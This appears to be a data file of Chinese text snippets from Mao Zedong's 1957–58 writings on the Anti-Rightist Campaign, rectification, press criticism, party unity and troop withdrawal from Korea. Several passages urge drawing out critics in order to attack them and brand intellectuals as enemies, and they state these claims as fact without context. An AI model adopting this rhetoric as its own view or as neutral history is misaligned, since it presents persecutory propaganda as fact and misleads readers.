    {"text": "至于你那个什么级，就是评得不对，你也要吞下去，眼泪不要往外头流，要往里头流。 世界上是有许多不公道的事情，那个级可能评得不对，那也无须闹，无关大局，只要有饭吃就行。"},
    {"text": "现在实行了军衔制度 〔2〕 和其他一些制度，但是，上级跟下级还是要打成一片，干部跟士兵还是要打成一片，还是要准许下级批评上级，士兵批评干部。"},
    {"text": "毫无疑义，上下级的关系应当密切，应当是一种同志的关系。 干部跟战士的关系应当密切，应当打成一片。 军队跟人民、跟地方党政组织的关系，也应当是密切的。"},
    {"text": "可是，你有一天办了一些糊涂事，讲了一篇混账话，人民还是不谅解你。 尽管你过去做过多少好事，职位有多么高，你今天的事情办得不好，解决得不对，对人民有损害，这一点人民就不能原谅。"},
    {"text": "注 释 * 这里的（一）是毛泽东同志一九五七年三月十八日在济南党员干部会议上讲话的一部分，（二）是毛泽东同志一九五七年三月十九日在南京党员干部会议上讲话的一部分。"},
    {"text": "这些人比较危险，因为他们的思想是资产阶级思想在党内的反映，他们向往资产阶级自由主义，否定一切，他们与社会上资产阶级知识分子有千丝万缕的联系。"},
    {"text": "有些被攻击的“教条主义”，实际上是一些工作上的错误。 有些被攻击的“教条主义”，实际上是马克思主义，被一些人误认作“教条主义”而加以攻击。"},
    {"text": "他们否认报纸的党性和阶级性，他们混同无产阶级新闻事业与资产阶级新闻事业的原则区别，他们混同反映社会主义国家集体经济的新闻事业与反映资本主义国家无政府状态和集团竞争的经济的新闻事业。"},
    {"text": "有社会上的左派、中间派和右派。 社会上的中间派是大量的，他们大约占全体党外知识分子的百分之七十左右，而左派大约占百分之二十左右，右派大约占百分之一、百分之三、百分之五到百分之十，依情况而不同。"},
    {"text": "全国有几百万资产阶级和曾为旧社会服务的知识分子，我们需要这些人为我们工作，我们必须进一步改善和他们的关系，以便使他们更有效率地为社会主义事业服务，以便进一步改造他们，使他们逐步地工人阶级化，走向现状的反面。"},
    {"text": "他们越做得不合理，就会越快地把他们抛到过去假装合作、假装接受共产党领导的反面，让人民认识他们不过是一小撮反共反人民的牛鬼蛇神而已。"},
    {"text": "中国共产党是全中国人民的领导核心 中国共产党是 全中国人民的领导核心 * （一九五七年五月二十五日） 你们的会议开得很好。希望你们团结起来，作为全国青年的领导核心。 中国共产党是全中国人民的领导核心。没有这样—个核心，社会主义事业就不能胜利。 你们这个会议是一个团结的会议，对全中国青年会有很大的影响。我对你们表示祝贺。 同志们，团结起来，坚决地勇敢地为社会主义的伟大事业而奋斗。一切离开社会主义的言论行动是完全错误的。 注 释 * 这是毛泽东同志接见中国新民主主义青年团第三次全国代表大会全体代表时的讲话。 组织力量反击右派分子的猖狂进攻 组织力量 反击右派分子的猖狂进攻 * （一九五七年六月八日） 省市级机关和高等学校大鸣大放的时间，大约十五天左右即足。反动分子猖狂进攻。党团员中的动摇分子或者叛变出去，或者动摇思叛。广大党团员中的积极分子及中间群众起而对抗。以大字报为战斗武器，双方在斗争中取得经验，锻炼人才。反动分子人数不过百分之几，最积极疯狂分子不过百分之一，故不足怕。不要为一时好似天昏地暗而被吓倒。反动分子将到本机关、本学校以外的工厂、学校去活动，要预作布置，实行挡驾。要召集工厂主要干部及老工人开会，说明有一些不好的资本家，不好的知识分子及社会上的反动分子正在向工人阶级及共产党猖狂进攻，要推倒工人阶级领导的政权，切记不要上他们的当。有人煽动，实行挡驾。街上贴反动标语，动员群众撕毁。工人要看清大局，不要闹事情。在此期间，不要提出福利工资等问题，一致对付反动派。 请你们注意各民主党派中反动分子的猖狂进攻。要组织每个党派自己开座谈会，左中右的人都参加，正反两面意见都让其暴露，派记者予以报道。我们巧妙地推动左、中分子发言，反击右派。此事很有效。每个党报均要准备几十篇文章，从当地高潮开始跌落时起，即陆续发表。注意组织中、左派写文章。但在高潮未落前，党报正面文章少登（可以登些中间派文章）。大字报必须要让群众反驳。高等学校组织教授座谈，向党提意见，尽量使右派吐出一切毒素来，登在报上。可以让他们向学生讲演，让学生自由表示态度。最好让反动的教授、讲师、助教及学生大吐毒素，畅所欲言。他们是最好的教员。到了适当时机，则立即要组织党团员分组开会，分别那些是建设性的批评，加以接受，并改正自己的错误缺点；那些是破坏性批评，予以反驳。同时组织一些党外人士讲演，讲正面话。然后，由较有威信的党的负责人作一个有分析有说服力的总结性演说，将空气完全转变过来。整个过程，做得好，有一个月左右就够了，然后转入和风细雨的党内整风。 这是一个伟大的政治斗争和思想斗争。只有这样做，我党才能掌握主动，锻炼人才，教育群众，孤立反动派，使反动派陷入被动。过去七年，我们形式上有主动，实际上至少有一半是假主动。反动派是假投降，中间派的许多人也不心悦诚服。现在形势开始改变，我们形式上处于被动，实际上开始有了主动，因为我们认真整风。反动派头脑发胀，极为猖狂，好似极主动，但因他们做得过分，开始丧失人心，开始处于被动。各；地情况不同，你们可以灵活运用策略，灵活做出部署。 总之，这是一场大战（战场既在党内，又在党外），不打胜这一仗，社会主义是建不成的，并且有出“匈牙利事件”的某些危险。现在我们主动的整风，将可能的“匈牙利事件”主动引出来，使之分割在各个机关各个学校去演习，去处理，分割为许多小“匈牙利”，而且党政基本上不溃乱，只溃乱一小部分（这部分溃乱正好，，挤出了脓包），利益极大。这是不可避免的，社会上既有反动派存在，中间分子又未受到现在这样的教训，党又未受到现在这样的锻炼，乱子总有一天要发生。 现在国内形势很好，我们能够巩固地掌握工农党政军及大多数学生。国际形势很好，美国处在困难地位。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。"},
    {"text": "文汇报的资产阶级方向应当批判 文汇报的资产阶级方向 应当批判 * （一九五七年七月一日） 自本报编辑部六月十四日发表《文汇报在一个时间内的资产阶级方向》以来，文汇报、光明日报对于这个问题均有所检讨。"},
    {"text": "光明日报工作人员开了几次会议，严肃地批判了社长章伯钧、总编辑储安平的方向错误，这种批判态度明朗，立场根本转过来了，由章伯钧、储安平的反共反人民反社会主义的资产阶级路线转到了革命的社会主义的路线。"},
    {"text": "呼风唤雨，推涛作浪，或策划于密室，或点火于基层，上下串连，八方呼应，以天下大乱、取而代之、逐步实行、终成大业为时局估计和最终目的者，到底只有较少人数，就是所谓资产阶级右派人物。"},
    {"text": "让资产阶级及资产阶级知识分子发动这一场战争，报纸在一个期间内，不登或少登正面意见，对资产阶级反动右派的猖狂进攻不予回击，一切整风的机关学校的党组织，对于这种猖狂进攻在一个时期内也一概不予回击，使群众看得清清楚楚，什么人的批评是善意的，什么人的所谓批评是恶意的，从而聚集力量，等待时机成熟，实行反击。"},
    {"text": "到处点火可以煽动工农，学生的大字报便于接管学校，大鸣大放，一触即发，天下顷刻大乱，共产党马上完蛋，这就是六月六日章伯钧向北京六教授所作目前形势的估计。"},
    {"text": "替反动派做了几个月向无产阶级猖狂进攻的喉舌，报纸的方向改成反共反人民反社会主义的方向，即资产阶级的方向，残存着一点资产阶级思想，够用吗？"},
    {"text": "新民报犯的错误比文汇报小，它一发现自己犯了错误，就认真更正，表示了这张报纸的负责人和记者们对于人民事业的责任心，这个报纸在读者面前就开始有了主动。"},
    {"text": "现在又回到“资产阶级右派”这个名称。 资产阶级右派就是前面说的反共反人民反社会主义的资产阶级反动派，这是科学的合乎实际情况的说明。"},
    {"text": "我们的革命是人民的革命，是无产阶级领导的六亿人民的革命，是人民的事业。 民主革命是人民的事业，社会主义革命是人民的事业，社会主义建设是人民的事业。"},
    {"text": "右派根本不听，许多话我们都跟他们讲了的，但是他们不听，另外搞一套。 比如我们主张“团结——批评——团结”，他们就不听。 我们说肃反成绩是主要的，他们又不听。 我们讲要民主集中制，要无产阶级领导的人民民主专政，他们又不听。 我们讲要联合社会主义各国和全世界爱好和平的人民，他们也不听。"},
    {"text": "知识分子是工人阶级、劳动者请的先生，你给他们的子弟教书，又不听主人的话，你要教你那一套，要教八股文，教孔夫子，或者教资本主义那一套，教出一些反革命，工人阶级是不干的，就要辞退你，明年就不下聘书了。"},
    {"text": "一百天以前我在这个地方讲过，从旧社会来的知识分子，现在没有基础了，他丧失了原来的社会经济基础，就是那五张皮没有了，他除非落在新皮上。"},
    {"text": "我就是这么一个人，要办什么事，要决定什么大计，就非问问工农群众不可，跟他们谈一谈，跟他们商量，跟接近他们的干部商量，看能行不能行。"},
    {"text": "一九五七年夏季的形势 一九五七年夏季的形势 * （一九五七年七月） 在我国社会主义革命时期，反共反人民反社会主义的资产阶级右派和人民的矛盾是敌我矛盾，是对抗性的不可调和的你死我活的矛盾。"},
    {"text": "我们应当看得远一些，在几十年后看这个事件，将会看到我们这样对待资产阶级右派分子，对于无产阶级革命事业，会有深远影响和巨大利益的。"},
    {"text": "我们的目标，是想造成一个又有集中又有民主，又有纪律又有自由，又有统一意志、又有个人心清舒畅、生动活泼，那样一种政治局面，以利于社会主义革命和社会主义建设，较易于克服困难，较快地建设我国的现代工业和现代农业，党和国家较为巩固，较为能够经受风险。"},
    {"text": "民主党派，教育界，新闻界，科技界，文艺界，卫生界，工商界，工人阶级、农民阶级各阶层、手工业工人和其他城乡劳动者，都应当进行整风和社会主义教育，分期分批逐步推行。"},
    {"text": "其中，资产阶级和资产阶级知识分子是使他们接受社会主义改造的问题； 小资产阶级（农民和城乡独立劳动者），特别是富裕中农，也是使他们接受社会主义改造的问题；"},
    {"text": "整风的方法是批评和自我批评，摆事实，讲道理。 整风的目的是把斗争方向引导到端正政治方向，提高思想水平，改正工作缺点，团结广大群众，孤立和分化资产阶级右派和一切反对社会主义的分子。"},
    {"text": "这里所说的资产阶级右派，包括混入共产党内和青年团内的一些同党外团外右派分子政治面貌完全相同的人，他们背叛无产阶级革命事业，向党猖狂进攻，因此必须充分揭露，并把他们开除出去，借以纯洁党团组织。"},
    {"text": "我赞成迅即由中央发一个指示，向全体农村人口进行一次大规模的社会主义教育，批判党内的右倾机会主义思想，批判某些干部的本位主义思想，批判富裕中农的资本主义思想和个人主义思想，打击地富的反革命行为。"},
    {"text": "军队多次整风，实行三大纪律八项注意，实行军事、政治、经济三大民主，战时班上建立互助组，实行官兵、军民打成一片，禁止打人骂人，禁止枪毙逃兵。"},
    {"text": "手执武器的军队能够这样做，为什么工厂、农村、机关、学校不能够发扬民主，用说服的方法而不是用压服的方法去解决自己的问题（矛盾）呢？"},
    {"text": "除了叛徒和严重违法乱纪分子这两种人，在整风中保护一切党团员，用大力用诚心帮助他们改正错误缺点，改善工作方法，提高工作能力，提高政治水平，提高思想水平。"},
    {"text": "共产党员一定要有朝气，一定要有坚强的革命意志，一定要有不怕困难和用百折不挠的意志去克服任何困难的精神，一定要克服个人主义、本位主义、绝对平均主义和自由主义，否则就不是一个名副其实的共产党员。"},
    {"text": "省市委、自治区党委的第一书记（其他书记也是一样），在半年到一年内，要求亲身研究一个合作社，一个工厂，一个商店，一个学校，取得知识，取得发言权，以利指导全般工作。"},
    {"text": "只有在这时，他们中的多数人（中间派及一部分右派）才会逐渐老实起来，把自己的资产阶级立场逐渐抛弃，站到无产阶级方面来，下决心依靠无产阶级吃饭。"},
    {"text": "只要世界上还存在着帝国主义和资产阶级，我国的反革命分子和资产阶级右派分子的活动，不但总是带着阶级斗争的性质，并且总是同国际上的反动派互相呼应的。"},
    {"text": "大辩论，全民性的，解决了和正在解决着革命和建设工行是否正确（革命和建设的成绩是不是主要的），是否应走社会主义道路，要不要共产党领导，要不要无产阶级专政，要不要民主集中制，以及我国的外交政策是否正确等项重大问题。"},
    {"text": "只有经过十年至十五年的社会生产力的比较充分的发展，我们的社会主义的经济制度和政治制度，才算获得了自己的比较充分的物质基础（现在，这个物质基础还很不充分），我们的国家（上层建筑）才算充分巩固，社会主义社会才算从根本上建成了。"},
    {"text": "为了建成社会主义，工人阶级必须有自己的技术干部的队伍，必须有自己的教授、教员、科学家、新闻记者、文学家、艺术家和马克思主义理论家的队伍。"},
    {"text": "十年至十五年以后的任务，则是进一步发展生产力，进一步扩大工人阶级知识分子的队伍，准备着逐步地由社会主义过渡到共产主义的必要条件，准备以八个至十个五年计划在经济上赶上并超过美国。"},
    {"text": "有条件的，要努力学技术，学业务，学理论，造成工人阶级知识分子的新部队（这个新部队，包含从旧社会过来的真正经过改造站稳了工人阶级立场的一切知识分子）。"},
    {"text": "必须把民主党派（政治界），教育界，新闻界（包括一切报纸和刊物），科技界，文艺界，卫生界，工商界的政治改造工作和思想改造工作完全掌握在自己手中。"},
    {"text": "各省、市、自治区要有自己的马克思主义理论家，自己的科学家和技术人才，自己的文学家、艺术家和文艺理论家，要有自己的出色的报纸和刊物的编辑和记者。"},
    {"text": "第一书记（其他书记也是一样）要特别注意报纸和刊物，不要躲懒，每人至少要看五份报纸，五份刊物，以资比较，才好改进自己的报纸和刊物。"},
    {"text": "应当看到，现在他们对于真正接受社会主义道路和真正接受无产阶级领导这些基本点虽然还只是一种倾向，但是，只要有了这种倾向，他们就从资产阶级立场到工人阶级立场的长距离路程中开动了第一步。"},
    {"text": "在两三个星期内，各单位的领导者对于右派的猖狂进攻，硬着头皮，只听不驳，聚精会神，分析研究，聚集力量，准备反攻，团结左派，争取中间派，孤立右派，这是一套很好的马克思主义的策略。"},
    {"text": "大鸣大放阶段（边整边改），反击右派阶段（边整边改），着重整改阶段（继续鸣放），每人研究文件、批评反省、提高自己阶段，这是中央、省市、地、县四级整风的四个必经阶段。"},
    {"text": "注 释 * 这是毛泽东同志一九五七年七月在青岛召开的省市委书记会议期间写的一篇文章，在这个会议上印发过，同年八月，又印发给党内领导干部阅读。"},
    {"text": "再开这样的会议，可以掺少数县委书记和一些大城市的若干区委书记，比如再加百把人是可以的。 我建议各省也开一次全省性的三级或者四级干部会议，掺一部分合作社的干部，把问题扯清楚。"},
    {"text": "延安整风，土地改革，军队里头的民主生活，还有“三查三整” 〔2〕 ，后头的“三反”“五反”，对知识分子的思想改造等，这中间都有丰富的民主形式。"},
    {"text": "找到了这种形式，对于我们的事业会有很大的好处，克服主观主义、官僚主义、命令主义（所谓命令主义，就是打人骂人，强迫执行），领导干部同群众打成一片，就容易做到了。"},
    {"text": "中国无产阶级数量少，只有一千多万人，它要靠几亿人口的贫农、下中农、城市贫民、贫苦的手工业者和革命知识分子，才能实行专政，不然是不可能的。"},
    {"text": "一共十二年，过去了两年，只有十年了，再不抓紧，“四十条”中规定的三种地区分别达到亩产粮食四百斤、五百斤、八百斤的计划指标，就有落空的危险。"},
    {"text": "有的县现在已经是亩产千斤了，半个世纪搞到亩产两千斤行不行呀？ 将来是不是黄河以北亩产八百斤，淮河以北亩产一千斤，淮河以南亩产两千斤？"},
    {"text": "有的省的合作社，除公积金（百分之五）、公益金（百分之五）、管理费以外，生产费占总产值的百分之二十，其中基本建设费用又占生产费的百分之二十。"},
    {"text": "但是在这个条件下，必须实行工业与农业同时并举，逐步建立现代化的工业和现代化的农业。 过去我们经常讲把我国建成一个工业国，其实也包括了农业的现代化。 现在，要着重宣传农业。"},
    {"text": "过去革命，这种方法，那种方法，这种政策，那种政策，党内有过很多不同意见，结果我们采取了一种比较适合情况的政策，所以抗日战争时期和解放战争时期，比较从前那几个时期都进步。"},
    {"text": "我们是在批评了教条主义之后来提倡学习苏联的，所以没有危险。 延安整风以后，“七大”以后，我们强调学习苏联，这对我们是不吃亏的，是有利的。"},
    {"text": "一个是扫掉了多、快、好、省。 不要多了，不要快了，至于好、省，也附带扫掉了。 好、省我看没有那个人反对，就是一个多、一个快，人家不喜欢，有些同志叫“冒”了。 本来，好、省是限制多、快的。"},
    {"text": "我曾经谈过，共产党的中央委员会，各级党委会，还有国务院，各级人民委员会，总而言之，“会”多得很，其中主要是党委会，它的性质究竟是促进委员会，还是促退委员会？"},
    {"text": "现在是社会主义革命，革命的锋芒是对着资产阶级，同时变更小生产制度即实现合作化，主要矛盾就是社会主义和资本主义，集体主义和个人主义，概括地说，就是社会主义和资本主义两条道路的矛盾。"},
    {"text": "还有文学，主要是文艺理论，领导干部必须懂得一点。 还有什么新闻学、教育学，这些学问也要懂得一点。 总而言之，学问很多，大体要稍微摸一下。"},
    {"text": "所以，就出现了这种新形式。 新的革命内容，它要找到新的形式。 现在的革命是社会主义革命，是为了建设社会主义国家，它找到了这种新形式。"},
    {"text": "大鸣大放有利，还是小鸣小放有利？ 或者不鸣不放有利？ 不鸣不放是不利的，小鸣小放不能解决问题，还是要大鸣大放。 大鸣大放，一不会乱，二不会下不得台。"},
    {"text": "我们过去只搞过民主革命，那是资产阶级性质的革命，不破坏个体所有制，不破坏民族资本主义所有制，只破坏帝国主义所有制，封建主义所有制，官僚资本主义所有制。"},
    {"text": "这里包括地主阶级，富农，一部分富裕中农，一部分民族资产阶级，一部分资产阶级知识分子，一部分城市上层小资产阶级，甚至个别的工人、贫下中农。"},
    {"text": "第二，在不赞成或者反对社会主义的人里边，最顽固的分子，包括极右派，反革命，搞破坏的，还有不搞破坏但很顽固的，可能要带着顽固头脑到棺材里面去的，这样的人有多少呢？"},
    {"text": "这个农村，那个农村； 这个工厂，那个工厂； 这个学校，那个学校； 这个共产党支部，那个共产党支部； 这个青年团支部，那个青年团支部； 这个民主党派的支部，那个民主党派的支部；"},
    {"text": "这几年来，经过教育改造，地主、富农也有分化，现在也有不完全反对社会主义的。 对资产阶级和资产阶级知识分子，也要加以分析，不要以为他们都是反对社会主义的，事实不是那样。"},
    {"text": "资产阶级和资产阶级知识分子，农村的上层小资产阶级（富裕中农），城市的上层小资产阶级（一些比较富裕的小业主）和他们的知识分子，这些人就有些影响了。"},
    {"text": "这一次辩论的主要目的，就是争取半服半不服的中间派，使他们懂得这个社会发展规律究竟是一件什么事，还是要听文化不高的无产阶级的话，在农村里头要听贫农、下中农的话。"},
    {"text": "这可不可以说服多数人？ 可以说服多数人。 资产阶级的多数，资产阶级知识分子的多数，上层小资产阶级的多数，是可以说服的。 大学教授、中小学教员、艺术家、文学家、科学家、工程师中的多数，是可以说服的。"},
    {"text": "去年五月，我们在这里开会讲百花齐放，那是一个“放”，百家争鸣，那是一个“鸣”，就没有这个“大”字，并且是限于文学艺术上的百花齐放，学术问题上的百家争鸣。"},
    {"text": "原因是，百分之九十的人不愿意国家乱，而愿意建成社会主义，百分之十不赞成或者反对社会主义的人中间，有许多人是动摇的，至于坚决反社会主义的分子，只有百分之二。"},
    {"text": "按照辩证法，我看右派会一分为二。 可能有相当多的右派分子，大势所趋，他们想通了，转好了，比较老实，比较不十分顽固了，那个时候把帽子一摘，就不要叫右派了，并且还要安排工作。 少数极顽固的，可能死不改悔，戴着右派帽子进棺材，那也没有什么了不起，这样的人总是会有的。"},
    {"text": "在无产阶级政党的领导下，在多数人拥护社会主义的基础上，用我们这个大鸣、大放、大辩论、大字报的办法，可以避免匈牙利那样的事件，也可以避免现在波兰发生的那样的事件。"},
    {"text": "在波兰就不行，他们那里反革命的问题没有解决，右派的问题没有解决，走那条道路的问题没有解决，又不抓对资产阶级思想的斗争，所以封一个刊物就惹起事来了。"},
    {"text": "整风有四个阶段：放，反，改，学。 就是一个大鸣大放，一个反击右派，一个整改，最后还有一个，学点马克思列宁主义，和风细雨，开点小组会，搞点批评和自我批评。 今年五月一比中共中央发表的整风文件中讲和风细雨，当时许多人不赞成，主要是右派不赞成，他们要来一个急风暴雨，结果很有益处。"},
    {"text": "世界上有些事就是那么怪，三年不整风，共产党、青年团、民主党派、大学教授、中小学教员、新闻记者、工程师、科学家里头，又要出许多怪议论，资本主义思想又要抬头。"},
    {"text": "一个阶级的政权，没有自己的知识分子那是不行的。 美国没有那样一些知识分子，它资产阶级专政怎么能行？ 我们是无产阶级专政，一定要造就无产阶级自己的知识分子队伍，包括从旧社会来的经过改造真正站稳工人阶级立场的一切知识分子。"},
    {"text": "这并不是要读很多书，而是要真正弄懂什么叫无产阶级，什么叫无产阶级专政，为什么只有无产阶级有前途，其他阶级都是过渡的阶级，为什么我们这个国家要走社会主义道路，不能走资本主义道路，为什么一定要共产党领导等等问题。"},
    {"text": "民主党派也好，大学教授也好，科学家也好，新闻记者也好，是吃工人阶级的饭，吃集体农民的饭，是吃全民所有制和集体所有制的饭，总起来说，是吃社会主义公有制的饭。"},
    {"text": "一九四九年只有十九万吨，三年恢复时期搞到一百多万吨，又搞了五年，达到五百二十万吨，五年就增加三百多万吨。 再搞五年，就可以超过一千万吨，或者稍微多一点，达到一千一百五十万吨。 然后，搞第三个五年计划，是不是可以达到两千万吨呢？"},
    {"text": "九流指儒家、道家、阴阳家、法家、名家、墨家、纵横家、杂家和农家。 “三教九流”后来是泛指宗教和学术的各种流派，旧社会中也用来泛称江湖上各种各样的人。"},
    {"text": "党内团结的辩证方法 党内团结的辩证方法 * （一九五七年十一月十八日） 在团结问题上我想讲一点方法问题。我说对同志不管他是什么人，只要不是敌对分子，破坏分子，那就要采取团结的态度。对他们要采取辩证的方法，而不应采取形而上学的方法。什么叫辩证的方法？就是对一切加以分析，承认人总是要犯错误的，不因为一个人犯了错误就否定他的一切。列宁曾讲过，不犯错误的人全世界一个也没有。任何一个人都要人支持。一个好汉也要三个帮，一个篱笆也要三个桩。荷花虽好，也要绿叶扶持。这是中国的成语。中国还有一句成语，三个臭皮匠，合成一个诸葛亮。单独的一个诸葛亮总是不完全的，总是有缺陷的。你看我们这十二国宣言，第一、第二、第三、第四次草稿，现在文字上的修正还没有完结。我看要是自称全智全能，象上帝一样，那种思想是不妥当的。因此，对犯错误的同志应该采取什么态度呢？应该有分析，采取辩证的方法，而不采取形而上学的方法。我们党曾经陷入形而上学——教条主义，对自己不喜欢的人就全部毁灭他。后来我们批判了教条主义，逐步地多学会了一点辩证法。辩证法的基本观点就是对立面的统一。承认这个观点，对犯错误的同志怎么办呢？对犯错误的同志第一是要斗争，要把错误思想彻底肃清。第二，还要帮助他。一曰斗，二曰帮。从善意出发帮助他改正错误，使他有一条出路。 对待另一种人就不同了。象托洛茨基那种人，象中国的陈独秀、张国焘、高岗那种人，对他们无法采取帮助态度，因为他们不可救药。还有象希特勒、蒋介石、沙皇，也都是无可救药，只能打倒，因为他们对于我们说来，是绝对地互相排斥的。在这个意义上来说，他们没有两重性，只有一重性。对于帝国主义制度、资本主义制度在最后说来也是如此，它们最后必然要被社会主义制度所代替。意识形态也是一样，要用唯物论代替唯心论，用无神论代替有神论。这是在战略目的上说的。在策略阶段上就不同了，就有妥协了。在朝鲜三八线上我们不是同美国人妥协了吗？在越南不是同法国人妥协了吗？ 在各个策略阶段上，要善于斗争，又善于妥协。现在回到同志关系。我提议同志之间有隔阂要开谈判。有些人似乎以为，一进了共产党都是圣人，没有分歧，没有误会，不能分析，就是说铁板一块，整齐划一，就不需要讲谈判了。好象一进了共产党，就要是百分之百的马克思主义才行。其实有各种各样的马克思主义者：有百分之百的马克思主义者，有百分之九十的马克思主义者，有百分之八十的马克思主义者，有百分之七十的马克思主义者，有百分之六十的马克思主义者，有百分之五十的马克思主义者，有的人只有百分之十、百分之二十的马克思主义。我们可不可以在小房间里头两个人或者几个人谈谈呢？可不可以从团结出发，用帮助的精神开谈判呢？这当然不是和帝国主义开谈判（对于帝国主义，我们也是要同他们开谈判的），这是共产主义内部的谈判。举一个例子。我们这回十二国是不是开谈判？六十几个党是不是开谈判？实际上是在开谈判。也就是说，在不损伤马克思列宁主义的原则下，接受人家一些可以接受的意见，放弃自己一些可以放弃的意见。这样我们就有两只手：对犯错误的同志，一只手跟他作斗争，一只手跟他讲团结。斗争的目的是坚持马克思主义原则，这叫原则性，这是一只手。另一只手讲团结。团结的目的是给他一条出路，跟他讲妥协，这叫做灵活性。原则性和灵活性的统一，是马克思列宁主义的原则，这是一种对立面的统一。 无论什么世界，当然特别是阶级社会，都是充满着矛盾的。有些人说社会主义社会可以“找到”矛盾，我看这个提法不对。不是什么找到或者找不到矛盾，而是充满着矛盾。没有一处不存在矛盾，没有一个人是不可以加以分析的。如果承认一个人是不可加以分析的，就是形而上学。你看在原子里头，就充满矛盾的统一。有原子核和电子两个对立面的统一。原子核里头又有质子和中子的对立统一。质子又有质子、反质子，中子又有中子、反中子。总之，对立面的统一是无往不在的。关于对立面的统一的观念，关于辩证法，需要作广泛的宣传。我说辩证法应该从哲学家的圈子走到广大人民群众中间去。我建议，要在各国党的政治局会议和中央全会上谈这个问题，要在党的各级地方委员会上谈这个问题。其实我们的支部书记是懂得辩证法的，当他准备在支部大会上作报告的时候，往往在小本子上写上两点，第一点是优点，第二点是缺点。一分为二，这是个普遍的现象，这就是辩证法。 注 释 * 这是毛泽东同志在莫斯科共产党和工人党代表会议上发言的节录。"},
    {"text": "一切反动派都是纸老虎 一切反动派都是纸老虎 （一九五七年十一月十八日） 一九四六年蒋介石开始向我们进攻的时候，我们许多同志一全国人民，都很忧虑：战争是不是能够打赢？我本人也忧虑这件事。但是我们有一条信心。那时有一个美国记者到了延安，名字叫安娜·路易斯·斯特朗。我同她谈话的时候谈了许多问题，蒋介石、希特勒、日本、美国、原子弹等等。我说一切所有号称强大的反动派统统不过是纸老虎。原因是他们脱离人民。你看，希特勒是不是纸老虎？希特勒不是被打倒了吗？我也谈到沙皇是纸老虎，中国皇帝是纸老虎，日本帝国主义是纸老虎，你看，都倒了。美帝国主义没有倒，还有原子弹，我看也是要倒的，也是纸老虎。蒋介石很强大，有四百多万正规军。那时我们在延安。延安这个地方有多少人？有七千人。我们有多少军队呢？我们有九十万游击队，统统被蒋介石分割成几十个根据地。但是我们说，蒋介石不过是一个纸老虎，我们一定会打赢他。为了同敌人作斗争，我们在一个长时间内形成了一个概念，就是说，在战略上我们要藐视一切敌人，在战术上我们要重视一切敌人。也就是说在整体上我们一定要藐视它，在一个一个的具体问题上我们一定要重视它。如果不是在整体上藐视敌人，我们就要犯机会主义的错误。马克思、恩格斯只有两个人，那时他们就说全世界资本主义要被打倒。但是在具体问题上，在一个一个敌人的问题上，如果我们不重视它，我们就要犯冒险主义的错误。打仗只能一仗一仗地打，敌人只能一部分一部分地消灭。工厂只能一个一个地盖，农民犁田只能一块一块地犁，就是吃饭也是如此。我们在战略上藐视吃饭：这顿饭我们能够吃下去。但是具体地吃，却是一口口地吃的，你不可能把一桌酒席一口吞下去。这叫做各个解决，军事书上叫做各个击破。 注 释 * 这是毛泽东同志在莫斯科共产党和工人党代表会议上发言的节录。 社会主义革命和社会主义建设时期（二） 社会主义革命和社会主义建设时期（二）"},
    {"text": "关于中国人民志愿军撤出朝鲜问题 关于中国人民志愿军 撤出朝鲜问题 * （一九五八年一月二十四日） 金日成 〔1〕 首相同志： 一九五七年十二月十六日和二十五日两次来信都已经收到了。 来信中关于中国人民志愿军撤出朝鲜的问题所提出的两个方案，我们已经仔细地研究过。我们觉得，由朝鲜民主主义人民共和国主动提出外国军队撤出朝鲜的要求，然后由中国政府响应朝鲜政府的要求，是比较适宜的。因此，我们认为采用十二月十六日来信中所提出的方案较好。对于这个方案，我们提出一些具体意见。这些意见，我们已经同苏联政府商量过，他们表示完全同意。现将这些意见函告如下，请你和朝鲜劳动党中央考虑是否妥当。 1、由朝鲜民主主义人民共和国最高人民会议写信给联合国，要求联合国军撤出朝鲜，的确是有一定的好处的，因为这样可以便于苏联作为联合国的一个成员国在联合国内提出主张，推动联合国采取行动。但是，这个方式也有缺点，那就是把整个联合国作为同我们敌对的一方，而实际上派出侵略军队组成联合国军的，只是少数联合国的成员国。因此，我们建议由朝鲜民主主义人民共和国政府发表一个公开声明。声明中根据朝、中方面在一九五四年日内瓦会议 〔2〕 上关于朝鲜问题的基本主张，提出以下的建议： （1）联合国军和中国人民志愿军同时撤出朝鲜； （2）由朝鲜南北双方在对等的基础上进行协商，以建立和发展南北朝鲜之间的经济和文化关系，并且筹备全朝鲜的自由选举； （3）在外国军队完全撤出南北朝鲜以后的一定时期内，在中立国机构监督之下举行全朝鲜的自由选举。 2、在朝鲜民主主义人民共和国政府发表了公开声明以后，中国政府接着发表声明，支持朝鲜政府的主张，并且正式表示准备同朝鲜民主主义人民共和国政府协商分批定期撤走中国人民志愿军的问题，同时要求联合国军方面有关各国政府采取同样的步骤。 3、苏联政府接着也发表声明，支持朝、中政府的声明，强调联合国军方面各国政府应该像中国政府那样响应朝鲜民主主义人民共和国政府的要求，并且建议召开有关国家的会议讨论和平解决朝鲜问题。 4、今年二月中，周恩来同志代表中国政府访问朝鲜期间，朝中两国政府可以在联合公报中宣布，中国政府已经商得中国人民志愿军的同意，中国人民志愿军决定在一九五八年年底以前分批撤出朝鲜。在联合公报中，朝、中两国政府可以声明，中国人民志愿军在联合国军之前撤出朝鲜，是为了和缓紧张局势，便于朝鲜南北双方在对等的基础上协商朝鲜的和平统一。因此，联合国军应该采取同样的行动。同时，中国人民志愿军发表声明表示：中国人民和朝鲜人民是唇齿相依、患难与共的，中国人民志愿军撤出朝鲜决不是对朝、中人民休戚相关的利益置之不理。如果李承晚 〔3〕 和美国重新进行挑衅，越过停战线，那末，中国人民志愿军在朝鲜政府提出要求的情况下，将毫不犹豫地再一次同朝鲜人民军并肩击退侵略。 5、中国人民志愿军撤出朝鲜的时间表，我们初步拟定如下： （1）一九五八年三月至四月，在朝、中两国政府发表联合公报以后，撤回三分之一，其余的三分之二均放在第二道防线，由朝鲜人民军全部接防第一线； （2）一九五八年七月至九月，撤回第二个三分之一； （3）一九五八年年底以前撤回最后的三分之一。 6、在朝中两国政府联合公报发表后，中立国监察委员会 〔4〕 的两瑞方面很可能再次提出撤销监察委员会的要求，届时，我们可以根据联合国军尚未撤走的理由，请他们留一最小限度的人数在板门店执行监察任务，但是也要准备他们会不顾而去。 以上各点意见，请你们研究后答复。 此致敬礼 毛 泽 东 一九五八年一月二十四日 注 释 * 这是毛泽东同志关于志愿军撤出朝鲜问题给金日成的电报。 〔1〕 金日成，时任朝鲜劳动党中央委员会委员长、朝鲜民主主义人民共和国内阁首相。 〔2〕 